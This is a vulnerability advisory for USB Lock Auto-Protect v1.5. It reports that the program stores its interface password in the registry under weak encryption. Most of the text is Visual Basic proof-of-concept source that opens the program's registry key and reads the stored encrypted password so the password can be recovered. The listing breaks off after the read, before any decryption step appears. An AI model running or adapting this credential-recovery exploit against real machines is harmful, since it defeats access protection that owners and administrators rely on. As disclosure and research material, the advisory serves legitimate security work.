Summary
Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection without changing folder location. In addition it offers the ability to lock the PC and still be able to see screen contents. Its interface is protected by encrypted password and offers active protection working as a Windows service at the local system level making it suitable for both home and business use.

Due to the fact that the USB Lock uses a weak encryption algorithm to encrypt the password stored in the registry. It is possible to recover the password for bypass interface protection.

Credit:
The information has been provided by fRoGGz.
The original article can be found at: http://www.shadock.net/secubox/.data/adv_usblock/

Details
Exploit:
VERSION 5.00
Begin VB.Form Recovery
BackColor = &H00000000&
BorderStyle = 4
Caption = "USB Lock Auto-Protect Password Recovery"
ClientHeight = 855
ClientLeft = 45
ClientTop = 285
ClientWidth = 4350
ForeColor = &H00000000&
MaxButton = 0
MinButton = 0
PaletteMode = 1
ScaleHeight = 855
ScaleWidth = 4350
ShowInTaskbar = 0
StartUpPosition = 2
Begin VB.Label lcd
Alignment = 2
BackColor = &H00000000&
BeginProperty Font
Name = "Courier New"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0
Italic = 0
Strikethrough = 0
EndProperty
ForeColor = &H0080FF80&
Height = 615
Left = 120
TabIndex = 0
Top = 120
Width = 4095
End
End
Attribute VB_Name = "Recovery"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'#########################################

'USB Lock Auto-Protect v1.5 Local Password Encryption Weakness

'Discovered & Coded: fRoGGz
'Credits to: SecuBox Labs
'Web: secubox.teria.org

'Software:
'
'USB Lock Auto-Protect v1.5
'Vendor: www.advansysperu.com

'Background:
'
'Prevent or allow the use of removable USB storage devices, CD-ROMs and floppy disks
'with USB Lock AP (Auto-Protect). The program also offers drag-and-drop folder protection
'without changing folder location. In addition it offers the ability to lock the PC and
'still be able to see screen contents. Its interface is protected by encrypted password and
'offers active protection working as a Windows service at the local system level making it
'suitable for both home and business use.

'Vulnerability:
'
'The weakness is caused due to the use of a weak encryption algorithm to encrypt the password
'stored in the registry. It is possible to recover the password for bypass interface protection.

'#########################################

Option Explicit

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ( _
ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Dim i As Integer
Dim Decrypt As String

Private Sub Form_Load()
Dim Handle, Test As Long
Dim Crypt As String * 50

If RegOpenKeyEx(&H80000001, "Software\VB and VBA Program Settings\vbts\id", 0, &HF003F, Handle) = 0 Then
Test = RegQueryValueEx(Handle, "dll", 0, 1, Crypt, 50)
lcd = Crypt
RegCloseKey (Handle)